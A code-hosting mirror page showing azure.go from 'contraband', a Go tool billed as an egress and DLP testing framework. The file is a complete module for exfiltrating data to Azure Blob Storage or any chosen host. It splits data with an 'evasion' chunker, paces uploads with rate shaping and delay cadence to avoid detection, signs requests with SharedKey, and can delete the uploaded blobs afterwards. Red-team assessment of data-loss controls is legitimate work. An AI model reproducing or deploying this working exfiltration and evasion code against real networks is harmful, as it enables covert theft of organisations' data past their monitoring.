● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / cloud / azure.go
← Back to directory
278 lines · 8.3 KB
Raw
1package cloud
2
3import (
4 "bytes"
5 "context"
6 "crypto/hmac"
7 "crypto/sha256"
8 "encoding/base64"
9 "fmt"
10 "io"
11 "net/http"
12 "strconv"
13 "strings"
14 "time"
15
16 "github.com/shehzade/contraband/pkg/client/evasion"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21func init() {
22 exfil.RegisterExfiltrator(common.ProtoAzureBlob, NewAzureBlobExfiltrator())
23}
24
25// AzureBlobExfiltrator implements pure-Go Azure Blob Storage REST API exfiltration with SharedKey signing and --destroy cleanup.
26type AzureBlobExfiltrator struct{}
27
28func NewAzureBlobExfiltrator() *AzureBlobExfiltrator {
29 return &AzureBlobExfiltrator{}
30}
31
32func (e *AzureBlobExfiltrator) Protocol() string {
33 return common.ProtoAzureBlob
34}
35
36// ComputeAzureSharedKey calculates Azure Storage SharedKey signature.
37func ComputeAzureSharedKey(method string, accountName, accountKeyBase64, container, blobName string, contentLength int, dateStr string) (string, error) {
38 keyBytes, err := base64.StdEncoding.DecodeString(accountKeyBase64)
39 if err != nil {
40 return "", fmt.Errorf("invalid base64 azure account key: %w", err)
41 }
42
43 canonicalizedHeaders := fmt.Sprintf("x-ms-blob-type:BlockBlob\nx-ms-date:%s\nx-ms-version:2020-10-04", dateStr)
44 canonicalizedResource := fmt.Sprintf("/%s/%s/%s", accountName, container, blobName)
45
46 var lenStr string
47 if contentLength > 0 {
48 lenStr = strconv.Itoa(contentLength)
49 }
50
51 contentType := "application/octet-stream"
52 if method == http.MethodDelete {
53 contentType = ""
54 canonicalizedHeaders = fmt.Sprintf("x-ms-date:%s\nx-ms-version:2020-10-04", dateStr)
55 }
56
57 stringToSign := fmt.Sprintf("%s\n\n\n%s\n\n%s\n\n\n\n\n\n\n%s\n%s",
58 method,
59 lenStr,
60 contentType,
61 canonicalizedHeaders,
62 canonicalizedResource,
63 )
64
65 h := hmac.New(sha256.New, keyBytes)
66 h.Write([]byte(stringToSign))
67 signature := base64.StdEncoding.EncodeToString(h.Sum(nil))
68
69 return fmt.Sprintf("SharedKey %s:%s", accountName, signature), nil
70}
71
72func (e *AzureBlobExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
73 if err := opts.Validate(); err != nil {
74 return nil, err
75 }
76
77 start := time.Now().UTC()
78 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
79 if err != nil {
80 return nil, err
81 }
82 result.Timestamps.StartTCP = start
83 result.PayloadType = opts.PayloadType
84 result.CarrierType = opts.CarrierType
85
86 if opts.SessionToken.IsZero() {
87 tok, tokErr := common.NewSessionToken()
88 if tokErr != nil {
89 return nil, tokErr
90 }
91 opts.SessionToken = tok
92 }
93
94 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
95 if err != nil {
96 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
97 }
98 defer chunker.Close()
99
100 accountName := opts.Headers["azure_account_name"]
101 if accountName == "" {
102 accountName = opts.Headers["account"]
103 }
104 if accountName == "" {
105 accountName = "contrabandstorage"
106 }
107 accountKey := opts.Headers["azure_account_key"]
108 if accountKey == "" {
109 accountKey = opts.Headers["account_key"]
110 }
111 if accountKey == "" {
112 accountKey = opts.Headers["key"]
113 }
114 if accountKey == "" {
115 accountKey = base64.StdEncoding.EncodeToString([]byte("ContrabandAzureKey12345678901234567890=="))
116 }
117 container := opts.Headers["azure_container"]
118 if container == "" {
119 container = opts.Headers["container"]
120 }
121 if container == "" {
122 container = "exfil"
123 }
124 destroy := strings.EqualFold(opts.Headers["destroy"], "true") || strings.EqualFold(opts.Headers["auto_cleanup"], "true")
125
126 scheme := "https"
127 if !opts.UseTLS {
128 scheme = "http"
129 }
130 var targetBase string
131 if strings.Contains(opts.TargetHost, "blob.core.windows.net") {
132 targetBase = fmt.Sprintf("https://%s.blob.core.windows.net", accountName)
133 } else {
134 targetBase = fmt.Sprintf("%s://%s:%d", scheme, opts.TargetHost, opts.TargetPort)
135 }
136
137 client := &http.Client{Timeout: opts.Timeout}
138 result.Timestamps.ConnectedTCP = time.Now().UTC()
139 result.Timestamps.FirstByteSent = time.Now().UTC()
140
141 var uploadedBlobs []string
142 var headEvidence []byte
143
144 for {
145 chunkFrame, seq, err := chunker.Next()
146 if err == io.EOF {
147 break
148 }
149 if err != nil {
150 result.Verdict = classifyCloudError(err)
151 result.ErrorMessage = err.Error()
152 calculateCloudDurations(&result)
153 return &result, err
154 }
155 if len(headEvidence) < 1024 {
156 take := 1024 - len(headEvidence)
157 if take > len(chunkFrame) {
158 take = len(chunkFrame)
159 }
160 headEvidence = append(headEvidence, chunkFrame[:take]...)
161 }
162
163 blobName := fmt.Sprintf("contraband_%s_part%d.dat", opts.SessionToken.String(), seq)
164 uploadedBlobs = append(uploadedBlobs, blobName)
165
166 uploadURL := fmt.Sprintf("%s/%s/%s", targetBase, container, blobName)
167
168 if opts.Shaper != nil {
169 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
170 result.Verdict = classifyCloudError(err)
171 result.ErrorMessage = err.Error()
172 calculateCloudDurations(&result)
173 return &result, err
174 }
175 }
176 if opts.Cadence != nil {
177 delay := opts.Cadence.NextDelay()
178 if delay > 0 {
179 select {
180 case <-time.After(delay):
181 case <-ctx.Done():
182 result.Verdict = classifyCloudError(ctx.Err())
183 result.ErrorMessage = ctx.Err().Error()
184 calculateCloudDurations(&result)
185 return &result, ctx.Err()
186 }
187 }
188 }
189
190 dateStr := time.Now().UTC().Format(http.TimeFormat)
191 authHeader, sigErr := ComputeAzureSharedKey(http.MethodPut, accountName, accountKey, container, blobName, len(chunkFrame), dateStr)
192 if sigErr != nil {
193 result.Verdict = common.VerdictBlockedL7
194 result.ErrorMessage = sigErr.Error()
195 calculateCloudDurations(&result)
196 return &result, sigErr
197 }
198
199 req, reqErr := http.NewRequestWithContext(ctx, http.MethodPut, uploadURL, bytes.NewReader(chunkFrame))
200 if reqErr != nil {
201 result.Verdict = classifyCloudError(reqErr)
202 result.ErrorMessage = reqErr.Error()
203 calculateCloudDurations(&result)
204 return &result, reqErr
205 }
206
207 req.Header.Set("Authorization", authHeader)
208 req.Header.Set("x-ms-date", dateStr)
209 req.Header.Set("x-ms-version", "2020-10-04")
210 req.Header.Set("x-ms-blob-type", "BlockBlob")
211 req.Header.Set("Content-Type", "application/octet-stream")
212 req.Header.Set("Content-Length", strconv.Itoa(len(chunkFrame)))
213
214 resp, doErr := client.Do(req)
215 if doErr != nil {
216 result.Verdict = classifyCloudError(doErr)
217 result.ErrorMessage = doErr.Error()
218 calculateCloudDurations(&result)
219 return &result, doErr
220 }
221 respBody, _ := io.ReadAll(resp.Body)
222 _ = resp.Body.Close()
223
224 result.BytesSent += int64(len(chunkFrame))
225 result.BytesRecv += int64(len(respBody))
226
227 if resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
228 err := fmt.Errorf("Azure Blob upload rejected: HTTP %d Forbidden/Unauthorized", resp.StatusCode)
229 result.Verdict = common.VerdictBlockedL7
230 result.ErrorMessage = err.Error()
231 calculateCloudDurations(&result)
232 return &result, err
233 }
234 if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusAccepted {
235 err := fmt.Errorf("Azure Blob upload returned HTTP %d: %s", resp.StatusCode, string(respBody))
236 result.Verdict = common.VerdictBlockedL7
237 result.ErrorMessage = err.Error()
238 calculateCloudDurations(&result)
239 return &result, err
240 }
241 }
242
243 result.Timestamps.AckReceived = time.Now().UTC()
244
245 // Handle --destroy auto-cleanup
246 if destroy {
247 for _, blob := range uploadedBlobs {
248 deleteURL := fmt.Sprintf("%s/%s/%s", targetBase, container, blob)
249 dateStr := time.Now().UTC().Format(http.TimeFormat)
250 delAuth, delSigErr := ComputeAzureSharedKey(http.MethodDelete, accountName, accountKey, container, blob, 0, dateStr)
251 if delSigErr == nil {
252 delReq, err := http.NewRequestWithContext(ctx, http.MethodDelete, deleteURL, nil)
253 if err == nil {
254 delReq.Header.Set("Authorization", delAuth)
255 delReq.Header.Set("x-ms-date", dateStr)
256 delReq.Header.Set("x-ms-version", "2020-10-04")
257 delResp, delErr := client.Do(delReq)
258 if delErr == nil {
259 _ = delResp.Body.Close()
260 }
261 }
262 }
263 }
264 }
265
266 result.Timestamps.TeardownDone = time.Now().UTC()
267 result.Verdict = common.VerdictSuccess
268 if opts.ExpectedHash != "" {
269 result.PayloadHash = opts.ExpectedHash
270 } else {
271 result.PayloadHash = chunker.PayloadHashHex()
272 }
273 result.TargetVolume = result.BytesSent
274 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
275 calculateCloudDurations(&result)
276
277 return &result, nil
278}